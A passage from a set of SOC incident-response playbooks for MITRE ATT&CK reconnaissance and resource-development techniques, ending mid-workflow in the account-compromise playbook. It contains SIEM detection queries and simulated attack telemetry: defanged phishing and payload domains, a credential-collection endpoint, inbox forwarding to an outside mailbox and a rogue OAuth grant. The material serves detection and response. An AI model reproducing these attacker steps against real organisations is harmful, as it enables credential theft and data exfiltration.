| lookup breach_feeds email OUTPUT breach_status  
| where breach_status="Known"
```

C) No-recon intrusion pattern

```
index=auth OR index=netflow  
| transaction src_ip maxspan=7d  
| where recon_activity="None"
```

Analyst checklist

- Closed-source intelligence use confirmed
- Compromised data identified
- Accounts and systems secured
- Threat intel sources engaged
- Incident escalated appropriately

Post-incident improvements

- Treat access broker data as a primary threat vector
- Continuously monitor breach and dark web sources
- Reduce credential lifespan and reuse
- Enforce MFA everywhere, including VPNs and legacy services
- Correlate closed-source recon → immediate access → impact

Playbook 8 (MITRE Reconnaissance): Search Open Technical Databases

Technique: Search Open Technical Databases

Sub-techniques:

- DNS / Passive DNS
- WHOIS
- Digital Certificates
- CDNs
- Scan Databases

Purpose

Detect, investigate and respond to adversaries querying publicly available technical databases to collect high-fidelity intelligence about an organisation's infrastructure, enabling attackers to:

- Discover domains, subdomains and historical infrastructure
- Identify IP ownership, registrars and hosting providers
- Map certificate usage, trust chains and service endpoints
- Identify CDN-backed services and origin exposure
- Retrieve scan results and fingerprints without touching the target

Search Open Technical Databases is zero-touch reconnaissance attackers gather accurate infrastructure intelligence without generating logs on victim systems.

When to trigger this playbook

Trigger this playbook when indicators suggest infrastructure knowledge that could only come from public technical datasets, including:

- Attackers referencing old or decommissioned subdomains
- Precise targeting of CDN origin servers
- Knowledge of certificate SANs and service names
- Infrastructure awareness without prior scanning or probing
- Attack paths aligned with data from scan aggregation sites

Example use case scenario (end-to-end)

Context: SOC investigates an intrusion attempt against an API endpoint that was never advertised publicly. Analysis shows the endpoint appears in historical certificate SAN records and passive DNS data. No active scanning was detected prior to the attack.

Attacker objective: Use public technical datasets to identify hidden or forgotten attack surfaces.

Defender objective: Detect exposure paths and reduce intelligence leakage through public databases.

What it looks like (simulated SOC artefacts)

A) DNS / Passive DNS Recon

Source=PassiveDNS
Subdomains=old-api.corp.com, dev-vpn.corp.com
Status=Historical

B) WHOIS Lookup Usage

Registrar=Known
RegistrantOrg=Corp Ltd
NameServers=Identified

C) Digital Certificate Enumeration

CertificateSAN=api.corp.com, internal-api.corp.com
Issuer=PublicCA

D) CDN Intelligence

CDN=Cloudflare
OriginIP=Leaked
ServiceType=Web/API

E) Scan Database Reference

Source=Shodan/Censys
Port=8443
Service=Exposed

F) No Victim-Side Recon

InboundScanning=None

Severity decision (SOC)

Medium

- Limited use of open technical data without follow-on activity

High

- Sustained targeting based on public datasets
- Discovery of forgotten or internal-looking services

Critical

- Open-database recon directly enabling exploitation or access

Example severity: High

(Confirmed zero-touch infrastructure reconnaissance)

Step-by-step SOC workflow

Step 1 Validate open-database reconnaissance

Confirm:

1. Does the attacker reference domains, IPs or services not actively advertised?
2. Is the intelligence historical or indirect (passive DNS, cert SANs)?
3. Is there no corresponding scanning activity in logs?
4. Does the targeting align with known public datasets?

Decision point

- Coincidental knowledge → continue investigation
- Open technical database recon → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
DNS / Passive DNS	Historical records	Hidden assets
WHOIS	Ownership, NS	Provider targeting
Digital certificates	SANs, trust	Service discovery
CDNs	Origin leakage	Bypass protections
Scan databases	Ports, banners	Exploit selection

Step 3 Map behaviour to attacker intent

3A) Hidden Asset Discovery

Indicators

- Old or non-public subdomains targeted

Attacker intent

- Find forgotten entry points

3B) Control Bypass Planning

Indicators

- CDN origin awareness

Attacker intent

- Avoid WAF/CDN protections

3C) Precision Exploitation

Indicators

- Service-specific attack attempts

Attacker intent

- Maximise success, minimise noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing applications
2. Credential Access
 - Auth attacks against discovered services
3. Defense Evasion
 - Direct-to-origin traffic
4. Persistence
 - Backdoor deployment on exposed systems

Decision point

- Exploitation detected → escalate to Intrusion IR

Containment actions

Immediate

1. Review and secure all exposed or historical assets
2. Remove or restrict unused DNS records and services
3. Mask or rotate exposed infrastructure details

If hostile recon confirmed

1. Audit certificate SANs and revoke unnecessary entries
2. Harden CDN configurations and origin protection
3. Notify SOC leadership and infrastructure owners

Eradication and recovery

- Decommission forgotten services and endpoints
- Rotate IPs and certificates if exposure is high-risk
- Reduce public footprint where possible
- Rebaseline exposure using the same open databases
- Monitor closely for renewed targeting

Detection engineering (SIEM ideas)

A) Zero-touch recon pattern

```
index=auth OR index=web  
| where inbound_scanning="None"  
| where targeted_service="NonPublic"
```

B) CDN origin targeting

```
index=netflow  
| where dest_ip IN (origin_ips)  
| where src_country!="Trusted"
```

C) Certificate SAN abuse correlation

```
index=web  
| where host IN (certificate_SANs)  
| where exposure!="Advertised"
```

Analyst checklist

- Open-database recon confirmed
- Sub-techniques identified

- Exposed assets documented
- Hardening actions completed
- Follow-on activity monitored

Post-incident improvements

- Treat public technical databases as an extension of the attack surface
- Regularly audit passive DNS, cert SANs and scan databases
- Remove historical artefacts aggressively
- Protect CDN origins and internal services
- Correlate open-database recon → targeted exploitation

Playbook 9 (MITRE Reconnaissance): Search Open Websites / Domains

Technique: Search Open Websites / Domains

Sub-techniques:

- Social Media
- Search Engines
- Code Repositories

Purpose

Detect, investigate and respond to adversaries leveraging publicly accessible websites and platforms to gather intelligence about the target organisation, enabling attackers to:

- Identify employees, roles, technologies and internal terminology
- Discover exposed credentials, secrets or configuration details
- Understand business operations, culture and communication style
- Identify development practices, repositories and deployment patterns
- Build highly convincing phishing, impersonation or exploitation campaigns

Search Open Websites / Domains is OSINT-driven reconnaissance attackers learn everything they can without ever touching the victim's infrastructure.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic harvesting of organisational information from public internet sources, including:

- Targeted phishing or fraud using accurate employee or role details
- Exploitation attempts aligned with technologies mentioned publicly
- Use of internal project names, tools or jargon by attackers
- Evidence of leaked code, credentials or configuration data
- Reconnaissance that precedes attacks without any active scanning

Example use case scenario (end-to-end)

Context: SOC investigates a spearphishing campaign referencing a specific internal project name and Git repository structure. Investigation shows developers publicly discussed the project on social media and an employee accidentally committed API keys to a public repository months earlier.

Attacker objective: Leverage publicly available information to gain credibility, locate weaknesses and accelerate compromise.

Defender objective: Reduce information exposure and prevent attackers from abusing OSINT.

What it looks like (simulated SOC artefacts)

A) Social Media Reconnaissance

Platform=LinkedIn
Data=EmployeeNames,Roles,Departments
Posts=TechnologyStackMentions

B) Search Engine Intelligence

Query="site:corp.com VPN login"
Results=InternalPortalReferences

C) Code Repository Discovery

Platform=GitHub
Repo=corp-api
Exposure=ConfigFiles

D) Credential Leakage

File=.env
Key=API_TOKEN
Visibility=Public

E) Internal Terminology Use

PhishingContent=ProjectPhoenix
Source=PublicBlog

F) No Victim-Side Recon

InboundScanning=None

Severity decision (SOC)

Medium

- Limited OSINT use with no sensitive data exposure

High

- Exposure of employee data, internal tools or technologies
- Recon enabling phishing or targeted intrusion

Critical

- Publicly exposed credentials, secrets or sensitive architecture
- OSINT directly leading to compromise or fraud

Example severity: High

(Confirmed OSINT reconnaissance enabling targeted attack)

Step-by-step SOC workflow

Step 1 Validate open-website reconnaissance

Confirm:

1. Is the attacker using information available on public platforms?
2. Does the intelligence include accurate internal details?
3. Is there no corresponding active recon in logs?
4. Does this information directly enable attack activity?

Decision point

- General background knowledge → document
- Targeted OSINT-driven recon → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Social media	Roles org charts	Human targeting
Search engines	Indexed portals/docs	Hidden access points
Code repositories	Source code, configs	Secrets & exploits
Credential leaks	Tokens, keys	Immediate access
Contextual data	Jargon, projects	Phishing realism

Step 3 Map behaviour to attacker intent

3A) Social Engineering Optimisation

Indicators

- Role- and project-specific phishing

Attacker intent

- Increase trust and response rate

3B) Technical Attack Preparation

Indicators

- Code and stack awareness

Attacker intent

- Choose effective exploits

3C) Direct Access Enablement

Indicators

- Leaked credentials or secrets

Attacker intent

- Bypass security controls

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing, vishing
2. Credential Access
 - Token or key abuse
3. Initial Access
 - API or service compromise
4. Impact
 - Data theft, fraud

Decision point

- Follow-on activity detected → escalate to Intrusion / Fraud IR

Containment actions

Immediate

1. Take down exposed repositories or posts
2. Revoke and rotate exposed credentials
3. Warn targeted users and teams

If OSINT recon confirmed

1. Conduct full public exposure review
2. Notify SOC leadership, DevOps, HR and Legal
3. Update awareness guidance for employees

Eradication and recovery

- Remove sensitive data from public platforms
- Rotate keys, tokens and credentials
- Harden repo and social media policies
- Reindex and validate search engine exposure
- Monitor closely for renewed OSINT abuse

Detection engineering (SIEM ideas)

A) Phishing using OSINT keywords

index=email
| where body LIKE "%internal_project%" OR body LIKE "%internal_tool%"

B) Credential leak correlation

index=auth
| lookup leaked_keys token OUTPUT status
| where status="Exposed"

C) No-recon intrusion pattern

index=auth
| where prior_recon="None"

Analyst checklist

- OSINT-driven reconnaissance confirmed
- Exposed information identified
- Credentials and access rotated
- Awareness and controls updated
- Follow-on attacks monitored

Post-incident improvements

- Treat public internet presence as an attack surface
- Regularly audit social media, search results and repositories
- Enforce secret scanning and repo hygiene
- Train employees on oversharing risks
- Correlate OSINT recon → phishing/access → impact

Playbook 10 (MITRE Reconnaissance): Search Threat Vendor Data

Technique: Search Threat Vendor Data

Purpose

Detect, investigate and respond to adversaries leveraging commercial or semi-restricted threat intelligence vendor data to gather information about the victim organisation, enabling attackers to:

- Identify previously reported vulnerabilities or incidents
- Discover exposed IPs, domains or services flagged by vendors
- Learn detection gaps, security tooling or response patterns
- Obtain confidence that the organisation is a viable target
- Reduce trial-and-error during later attack stages

Search Threat Vendor Data is intelligence-driven reconnaissance attackers let defenders' own telemetry and reporting ecosystems guide their targeting.

When to trigger this playbook

Trigger this playbook when indicators suggest attacker knowledge that aligns closely with third-party threat intelligence reporting, including:

- Attacks targeting assets recently mentioned in vendor reports
- Adversary awareness of vulnerabilities or exposures not publicly advertised
- Exploitation attempts shortly after vendor disclosures
- Precision attacks aligned with vendor-reported weaknesses
- Reconnaissance patterns matching data typically available only via TI vendors

Example use case scenario (end-to-end)

Context: SOC detects exploitation attempts against a legacy VPN appliance. The vulnerability was highlighted weeks earlier in a commercial threat-intel report but not publicly disclosed. The attacker immediately targets the exact affected firmware version without scanning.

Attacker objective: Use vendor-reported intelligence to attack the organisation efficiently and quietly.

Defender objective: Understand how attacker intelligence was sourced and close exposure faster than adversaries can act.

What it looks like (simulated SOC artefacts)

A) Vendor-Specific Vulnerability Targeting

Target=VPN-Appliance
Firmware=6.2.4
Exploit=KnownToVendorOnly

B) No Broad Recon Activity

ScanningActivity=None
Enumeration=None

C) Timing Correlation

VendorReportDate=2026-01-05
AttackDate=2026-01-18

D) Asset Awareness

TargetedIPs=PreviouslyFlaggedByVendor

E) Detection Evasion

AttackVector=LowNoise
Attempts=Minimal

F) Intelligence Alignment

AttackPath=MatchesVendorAssessment

Severity decision (SOC)

High

- Limited use of vendor-reported intelligence

Critical

- Vendor data directly enabling exploitation or access
- Attacks exploiting non-public or early-warning intelligence

Example severity: Critical

(External intelligence-driven precision attack)

Step-by-step SOC workflow

Step 1 Validate threat-vendor-driven reconnaissance

Confirm:

1. Does the attacker show awareness of vulnerabilities or assets recently reported by vendors?
2. Is there little to no active scanning preceding the attack?
3. Does attack timing align with vendor reporting cycles?
4. Is the knowledge too specific to be guessed or scraped?

Decision point

- Coincidental alignment → continue investigation
- Threat vendor data abuse → escalate immediately

Step 2 Identify scope and intelligence source

Indicator	Evidence	Attacker value
Vendor-flagged assets	Targeted systems	Precision
Early disclosure abuse	Pre-patch exploits	Speed
Minimal probing	Clean logs	Stealth
Accurate configs	Version-specific attacks	Reliability
Timing alignment	Report → attack	Efficiency

Step 3 Map behaviour to attacker intent

3A) Accelerated Exploitation

Indicators

- Attacks shortly after TI reports

Attacker intent

- Beat defenders to remediation

3B) Reduced Detection

Indicators

- No noisy reconnaissance

Attacker intent

- Avoid early SOC alerts

3C) High-ROI Targeting

Indicators

- Focus on known weak points

Attacker intent

- Maximise success with minimal effort

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing systems
2. Credential Access
 - Abuse known weak auth paths
3. Persistence
 - Backdoor vulnerable assets
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Exploitation confirmed → escalate to Major Incident IR

Containment actions

Immediate

1. Isolate and patch targeted systems
2. Block attacker infrastructure
3. Increase monitoring on vendor-flagged assets

If vendor-data recon confirmed

1. Accelerate remediation of all vendor-reported issues
2. Review exposure beyond published scope
3. Notify SOC leadership, Vulnerability Management and Risk teams

Eradication and recovery

- Fully patch or retire affected systems
- Validate no persistence or backdoors remain
- Review change and remediation timelines
- Strengthen detection for vendor-highlighted TTPs
- Monitor closely for follow-on exploitation

Detection engineering (SIEM ideas)

A) Attack shortly after vendor disclosure

```
index=alerts
| where asset IN (vendor_reported_assets)
| where _time > vendor_report_time
```

B) Precision exploitation without recon

```
index=netflow OR index=web
| where scanning_activity="None"
| where exploit_attempt="True"
```

C) Vendor-flagged asset monitoring

```
index=asset_inventory
| where risk_rating="High"
```

Analyst checklist

- Threat-vendor-driven recon confirmed
- Targeted assets identified
- Remediation prioritised and executed
- Monitoring increased
- Incident escalated appropriately

Post-incident improvements

- Treat threat-intel reports as attacker playbooks
- Reduce remediation lag after vendor disclosures
- Proactively hunt on vendor-flagged exposures
- Assume attackers read the same reports you do
- Correlate vendor report → attack → impact

Playbook 11 (MITRE Reconnaissance): Search Victim-Owned Websites

Technique: Search Victim-Owned Websites

Purpose

Detect, investigate and respond to adversaries systematically reviewing the organisation's own public-facing websites and web applications to gather intelligence, enabling attackers to:

- Identify exposed applications, portals and APIs
- Discover hidden directories, admin panels or legacy pages
- Harvest employee names, emails and contact details
- Identify technologies, frameworks and versions in use
- Find misconfigurations, test pages or forgotten assets

Search Victim-Owned Websites is self-intelligence harvesting attackers learn about the organisation directly from what it publishes about itself.

When to trigger this playbook

Trigger this playbook when indicators suggest non-normal, systematic interaction with victim-owned websites, including:

- Automated crawling or scraping of corporate websites
- Enumeration of URLs, directories or parameters
- Repeated access to /admin, /test, /old, /backup paths
- Harvesting of staff pages, PDFs or contact directories
- Website recon preceding phishing, exploitation or access attempts

Example use case scenario (end-to-end)

Context: SOC observes a single external IP crawling thousands of URLs across the company's main site and sub-domains. The crawler accesses archived press releases, staff bios and legacy application paths. Days later, targeted phishing emails reference real employee names and internal portal URLs.

Attacker objective: Extract authoritative organisational and technical intelligence from official sources.

Defender objective: Detect website reconnaissance early and reduce exploitable information exposure.

What it looks like (simulated SOC artefacts)

A) Automated Website Crawling

UserAgent=CustomCrawler/1.0

Requests=12,000

Paths=Sequential

B) Directory Enumeration

URI=/admin

URI=/old

URI=/dev

URI=/backup

C) Content Harvesting

AccessedFiles=staff.html, contacts.pdf org_chart.pdf

D) Technology Fingerprinting

Headers=X-Powered-By: ASP.NET

Framework=Identified

E) Legacy Page Discovery

Page=/portal_v1/login

Status=200

F) Follow-on Correlation

NextEvent=TargetedPhishing

Severity decision (SOC)

Medium

- Limited or generic website crawling

High

- Sustained scraping of sensitive pages or directories
- Recon linked to phishing or exploitation preparation

Critical

- Website recon immediately enabling compromise or fraud

Example severity: High

(Confirmed hostile reconnaissance using victim-owned websites)

Step-by-step SOC workflow

Step 1 Validate victim-website reconnaissance

Confirm:

1. Is the activity systematic and automated?
2. Is it targeting non-typical or sensitive paths?
3. Is the source external and unauthorised?
4. Does activity precede phishing, exploitation or access attempts?

Decision point

- Legitimate SEO or monitoring → validate source
- Malicious website reconnaissance → escalate

Step 2 Identify scope and technique

Indicator	Evidence	Attacker value
Crawling	High request volume	Full site map
Directory brute-force	Guessing paths	Hidden pages
Content scraping	PDFs, staff pages	Identity intel
Tech fingerprinting	Headers, errors	Exploit selection
Legacy discovery	Old portals	Weak entry points

Step 3 Map behaviour to attacker intent

3A) Attack Surface Discovery

Indicators

- Enumeration of paths and sub-pages

Attacker intent

- Identify exploitable endpoints

3B) Social Engineering Preparation

Indicators

- Staff and contact harvesting

Attacker intent

- Improve phishing credibility

3C) Exploit Planning

Indicators

- Framework and version discovery

Attacker intent

- Select compatible exploits

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing emails or calls
2. Initial Access
 - Exploitation of web apps
3. Credential Access
 - Login brute force or spraying
4. Persistence
 - Web shells or backdoors

Decision point

- Follow-on activity detected → escalate to Intrusion IR

Containment actions

Immediate

1. Rate-limit or block abusive crawling sources
2. Enable WAF rules for directory enumeration
3. Increase logging on targeted pages

If hostile recon confirmed

1. Remove or secure exposed legacy pages

2. Minimise sensitive information on public sites
3. Notify SOC leadership and Web/App owners

Eradication and recovery

- Decommission unused or legacy web assets
- Harden authentication and access controls
- Sanitize public content and metadata
- Review robots.txt and crawler policies
- Monitor closely for renewed website recon

Detection engineering (SIEM ideas)

A) High-volume crawler detection

```
index=web  
| stats count by src_ip  
| where count > threshold
```

B) Directory brute-force detection

```
index=web  
| where uri IN ("/admin", "/dev", "/backup")  
| stats count by src_ip
```

C) Scraping of sensitive content

```
index=web  
| where uri LIKE "%.pdf" OR uri LIKE "%staff%"
```

Analyst checklist

- Victim-website reconnaissance confirmed
- Targeted pages and assets identified
- Exposure reduced or removed
- Blocking and monitoring applied
- Follow-on activity monitored

Post-incident improvements

- Treat public websites as intelligence sources for attackers
- Regularly audit what information is publicly exposed
- Remove legacy and test pages aggressively
- Monitor crawling patterns beyond normal SEO

- Correlate website recon → phishing/exploit → compromise

RESOURCE DEVELOPMENT

Resource Development is the stage where attackers prepare everything they need before engaging the target environment. Instead of interacting with victim systems directly, adversaries focus on building, acquiring or staging the tools, infrastructure, identities and capabilities that will be used later in the attack. This includes developing malware, creating phishing templates, registering domains, acquiring servers, obtaining credentials and preparing exploits or payloads. Resource Development is largely invisible to the victim, but it determines how scalable, stealthy and resilient an attack will be once execution begins. For SOC teams, understanding Resource Development is critical because it explains why attacks look polished, coordinated and repeatable **and** it enables defenders to leverage threat intelligence, infrastructure analysis and pre-attack indicators to disrupt campaigns before initial access occurs.

Playbook 12 (MITRE Resource Development): Acquire Access

Technique: Acquire Access

Purpose

Detect, investigate and respond to adversaries acquiring pre-existing access to systems, accounts or networks rather than breaking in themselves, enabling attackers to:

- Skip reconnaissance and exploitation phases entirely
- Purchase or inherit already-compromised access
- Reduce noise and detection risk
- Enter environments with valid credentials or sessions
- Accelerate time-to-impact (ransomware, fraud, espionage)

Acquire Access is outsourced intrusion attackers don't break the lock they buy the key.

When to trigger this playbook

Trigger this playbook when indicators suggest access was obtained externally rather than created through your environment, including:

- Valid logins with no preceding phishing, scanning or exploitation
- Credentials known to be exposed via breaches or access brokers
- Access appearing immediately after recon with no intrusion trail
- Use of accounts that were compromised outside the organisation
- Authentication success on first attempt from unfamiliar infrastructure

Example use case scenario (end-to-end)

Context: SOC detects a successful VPN login for a contractor account that has been inactive for months. No phishing, scanning or brute force activity is observed. Dark-web monitoring confirms the same credentials were sold by an Initial Access Broker two weeks earlier.

Attacker objective: Gain immediate, low-noise entry using purchased access.

Defender objective: Contain access, determine exposure and prevent reuse or resale.

What it looks like (simulated SOC artefacts)

A) Immediate Valid Authentication

AuthResult=Success

Attempts=1
User=contractor01
Method=VPN

B) No Precursor Activity

Scanning=None
Phishing=None
Exploit=None

C) Unfamiliar Source Infrastructure

SourceIP=185.XX.XX.XX
ASN=BulletproofHosting
Country=Unusual

D) Breach Correlation

CredentialStatus=KnownBreach
Source=DarkWebFeed

E) Broker Evidence

ListingType=CorporateVPNAccess
AccessLevel=User

F) Rapid Post-Access Activity

NextAction=InternalDiscovery

Severity decision (SOC)

High

- Acquired access limited to low-privilege or isolated systems

Critical

- Access enables lateral movement or privilege escalation
- Brokered or breach-derived access used successfully
- Immediate progression toward impact

Example severity: Critical

(Purchased access enabling immediate intrusion)

Step-by-step SOC workflow

Step 1 Validate acquired access

Confirm:

1. Did access occur without internal exploitation activity?
2. Were credentials or sessions already valid before the event?
3. Does the account appear in breach or broker datasets?
4. Is there no reconnaissance trail in your logs?

Decision point

- Internal compromise path → investigate normally
- Externally acquired access → escalate immediately

Step 2 Identify acquisition method and scope

Method	Evidence	Attacker value
Access broker	Dark-web listing	Speed
Breach reuse	Known leaked creds	Low effort
Insider resale	Legit credentials	Trust
Third-party compromise	Vendor account	Bypass perimeter
Token/session theft	Existing sessions	MFA bypass

Step 3 Map behaviour to attacker intent

3A) Time Compression

Indicators

- No recon or exploitation

Attacker intent

- Reach objectives faster

3B) Detection Avoidance

Indicators

- Clean authentication trail

Attacker intent

- Bypass SOC early warning

3C) Monetisation or Strategic Access

Indicators

- Ransomware or espionage TTPs

Attacker intent

- Maximise ROI on purchased access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Discovery
 - Host, user and network enumeration
2. Privilege Escalation
 - Role abuse, token theft
3. Persistence
 - Account creation or modification
4. Impact
 - Ransomware, data theft, fraud

Decision point

- Post-access activity detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable affected accounts and sessions
2. Force credential resets and MFA re-enrolment
3. Block attacker IPs and infrastructure

If acquired access confirmed

1. Invalidate all credentials related to the access path
2. Audit similar accounts (contractors, vendors, legacy users)
3. Notify SOC leadership, IAM, Legal and Risk

Eradication and recovery

- Remove attacker foothold and persistence
- Reissue credentials and tokens
- Review third-party and remote access controls
- Strengthen breach-credential detection
- Monitor closely for reuse of sold access

Detection engineering (SIEM ideas)

A) First-attempt success anomaly

```
index=auth
| where auth_result="Success"
| where attempts=1
| where prior_activity="None"
```

B) Breach-credential correlation

```
index=auth
| lookup breach_feeds username OUTPUT breach_status
| where breach_status="Known"
```

C) Access broker behaviour

```
index=auth
| where src_asn IN (bulletproof_asn_list)
```

Analyst checklist

- Acquired access confirmed
- Source of access identified
- Credentials and sessions revoked
- Scope of exposure assessed
- Incident escalated appropriately

Post-incident improvements

- Treat Initial Access Brokers as a primary threat vector
- Reduce credential lifespan and reuse
- Enforce MFA everywhere, including legacy and vendor access
- Continuously monitor breach and dark-web sources
- Correlate acquired access → rapid intrusion → impact

Playbook 13 (MITRE Resource Development): Acquire Infrastructure

Technique: Acquire Infrastructure

Sub-techniques:

- Domains
- DNS Server
- Virtual Private Server
- Server
- Botnet
- Web Services
- Serverless
- Malvertising

Purpose

Detect, investigate and respond to adversaries building, renting or abusing infrastructure used to support attacks, including:

- Command-and-Control (C2)
- Phishing and credential harvesting
- Payload hosting and staging
- Traffic redirection and anonymisation
- Large-scale automation and delivery

This technique occurs before Initial Access but directly enables Phishing, Malware Delivery, C2, Exfiltration and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest adversary-controlled infrastructure interacting with your environment, including:

- Newly registered or lookalike domains contacting users
- DNS infrastructure linked to known malicious campaigns
- Traffic to VPS or cloud-hosted IP ranges with low reputation
- Web services abused for hosting phishing pages or payloads
- Botnet-like traffic patterns (periodic beacons, fan-out)
- Serverless endpoints receiving stolen data or credentials
- Malvertising redirects leading to exploit or phishing sites

Example use case scenario (end-to-end)

Context: The SOC detects a phishing campaign delivering links that resolve to a newly registered domain, hosted on a cloud VPS, fronted by a CDN, with credential data sent to a serverless endpoint.

Attacker objective: Rapidly acquire flexible infrastructure that can be rotated, abandoned or scaled with minimal cost and attribution.

Defender objective: Identify infrastructure early, block and sinkhole and prevent reuse across campaigns.

What it looks like (simulated SOC artefacts)

A) Domains (Lookalike / Newly Registered)

2026-02-16T03:11:02Z
domain=examp1e-secure[.]com
registration_date=2026-02-15
registrar=OffshoreRegistrar
typosquat=true

B) DNS Server Abuse

2026-02-16T03:11:14Z
dns_query=login.examp1e-secure[.]com
authoritative_ns=ns1.fast-dns-host[.]net
ttl=60

C) Virtual Private Server (VPS)

2026-02-16T03:11:31Z
dst_ip=185.199.109.12
asn=CloudVSPProvider
country=DE
reputation=new

D) Server (Payload Hosting)

2026-02-16T03:11:44Z
url=hxxps://examp1e-secure[.]com/update.bin
content_type=application/octet-stream

E) Botnet Infrastructure

2026-02-16T03:12:10Z

pattern=periodic_beacon
interval=60s
dst_domain=sync.examp1e-secure[.]com

F) Web Services Abuse

2026-02-16T03:12:25Z
hosting=CloudObjectStorage
bucket=secure-update-assets
public_access=true

G) Serverless Endpoints

2026-02-16T03:12:39Z
endpoint=hxxps://api-cloud-functions[.]net/collect
method=POST
payload=credential_data

H) Malvertising

2026-02-16T03:12:58Z
ad_network=AdExchange
redirect_chain=5
final_url=hxxps://examp1e-secure[.]com/login

Severity decision (SOC)

Low

- Infrastructure observed but no interaction
- Blocked by DNS / email / proxy

Medium

- Infrastructure contacted but no data exchange
- Single technique observed

High

- Multiple infrastructure layers observed
- Credential submission, malware delivery or beaconing
- Infrastructure reused across multiple users or campaigns

Example severity: High

(New domain + VPS + serverless exfil endpoint)

Step-by-step SOC workflow

Step 1 Validate infrastructure maliciousness

Confirm:

1. Domain age and similarity
2. Hosting reputation and ASN
3. TLS certificate anomalies
4. Infrastructure reuse across campaigns

Decision point

- Benign cloud usage → monitor
- Malicious or deceptive infra → continue investigation

Step 2 Identify infrastructure scope

Sub-technique	Evidence	Attacker value
Domains	Lookalike / fresh	Phishing, trust abuse
DNS	Fast-flux, low TTL	Resilience
VPS	Cloud-hosted IPs	Anonymity
Server	Payload staging	Malware delivery
Botnet	Beacon patterns	Scale
Web services	Free hosting	Low cost
Serverless	Data collection	Evasion
Malvertising	Ad networks	Mass reach

Step 3 Map infrastructure type to intent

3A) Domains

Indicators

- Newly registered
- Typosquatting

Attacker intent

- Brand impersonation
- Credential harvesting

3B) DNS Server

Indicators

- Rapid IP rotation
- Short TTL

Attacker intent

- Evade takedown
- C2 resilience

3C) Virtual Private Server (VPS)

Indicators

- Hosting provider ASNs
- Clean IP reputation

Attacker intent

- Blend into normal traffic

3D) Server

Indicators

- Binary hosting
- Script staging

Attacker intent

- Payload delivery

3E) Botnet

Indicators

- Periodic beaconing
- Many clients → one domain

Attacker intent

- Scalable C2

3F) Web Services

Indicators

- Abuse of object storage / SaaS
- Public buckets

Attacker intent

- Low-cost hosting

3G) Serverless

Indicators

- POST-only endpoints
- No browsing activity

Attacker intent

- Credential exfiltration
- Log evasion

3H) Malvertising

Indicators

- Ad redirects
- Drive-by phishing

Attacker intent

- Large-scale delivery

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Form submissions
 - Auth anomalies
2. Malware Execution
 - Downloads
 - EDR alerts

3. C2 Communication
 - Beacon patterns
 - DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If infrastructure observed only

1. Block domains, IPs, URLs
2. Add DNS sinkhole entries
3. Update email and proxy rules

If infrastructure used actively

1. Block across all controls (DNS, proxy, EDR)
2. Isolate affected endpoints
3. Reset credentials if exposed
4. Notify ad networks or hosting providers

Eradication and recovery

- Remove persistence and malware
- Rotate credentials and tokens
- Review certificate trust
- Validate no additional infrastructure in use
- Update detection rules

Detection engineering (SIEM ideas)

A) Newly registered domain detection

```
index=dns  
| where domain_age < 7  
| stats count by domain
```

B) Beaconsing detection

```
index=proxy  
| bucket span=1m _time  
| stats count by src_ip, dest_domain
```

| where count > 10

Analyst checklist

- Infrastructure type identified
- Cross-control blocking completed
- Credential exposure assessed
- Follow-on activity investigated
- Stakeholders informed

Post-incident improvements

- Enforce “new domain” blocking policies
- Monitor cloud and serverless abuse
- Integrate ad-malvertising telemetry
- Improve DNS visibility and TTL analysis
- Automate infrastructure IOC rotation

Playbook 14 (MITRE Resource Development): Compromise Accounts

Technique: Compromise Accounts

Sub-techniques:

- Social Media Accounts
- Email Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries compromising legitimate accounts and repurposing them as trusted attack resources, enabling:

- High-credibility phishing and social engineering
- Business Email Compromise (BEC)
- OAuth and API abuse
- Cloud lateral movement
- Reputation laundering (attacks appear legitimate)

This technique typically occurs before or alongside Initial Access and is often sourced from external breaches, phishing, credential reuse or access brokers.

When to trigger this playbook

Trigger this playbook when indicators suggest account takeover or abnormal trusted-account activity, including:

- Successful logins from new countries, ASNs or devices
- MFA fatigue, bypass or disablement
- Creation of inbox rules, forwarding or OAuth grants
- Accounts sending phishing or fraud messages
- Cloud accounts accessing data outside normal scope
- Threat intelligence reporting compromised accounts tied to campaigns

Example use case scenario (end-to-end)

Context: SOC detects phishing emails sent from a trusted vendor email account. Further analysis shows the vendor's cloud mailbox was compromised, with OAuth persistence used to maintain access.

Attacker objective: Exploit existing trust relationships to bypass security controls and escalate into fraud or lateral compromise.

Defender objective: Confirm takeover, remove persistence, contain blast radius and prevent reuse.

What it looks like (simulated SOC artefacts)

A) Social Media Account Compromise

2026-02-20T01:11:04Z
platform=LinkedIn
account=employee_profile
activity=DirectMessage
message="Please review updated payment details"
recipient_role=Finance
2026-02-20T01:11:07Z
login_src_ip=185.199.108.55
geo=RU
device=unknown

B) Email Account Compromise

2026-02-20T01:18:41Z
user=accounts@partner.my
login_result=success
auth_method=password
mfa=disabled
src_ip=45.67.89.10
geo=NL
2026-02-20T01:20:12Z
user=accounts@partner.my
activity=CreateInboxRule
rule="Move replies to RSS Feeds"
2026-02-20T01:21:03Z
user=accounts@partner.my
activity=EnableForwarding
destination=external_mailbox@gmail.com

C) Cloud Account Compromise

2026-02-20T01:29:33Z
user=finance.admin@example.my
platform=CloudIAM
activity=OAuthConsent
app_name="Document Viewer Pro"
permissions="Mail.Read, Files.Read.All"

2026-02-20T01:29:36Z
risk_level=high
session_persistence=true

Severity decision (SOC)

Low

- Failed login attempts only
- User confirms activity
- No persistence or privilege change

Medium

- Successful login with limited scope
- No evidence of persistence

High

- MFA bypass or disablement
- Inbox rules, forwarding or OAuth persistence
- Phishing, fraud or data access from the account

Example severity: High

(Trusted account used for phishing with persistence mechanisms)

Step-by-step SOC workflow

Step 1 Validate account compromise

Confirm immediately:

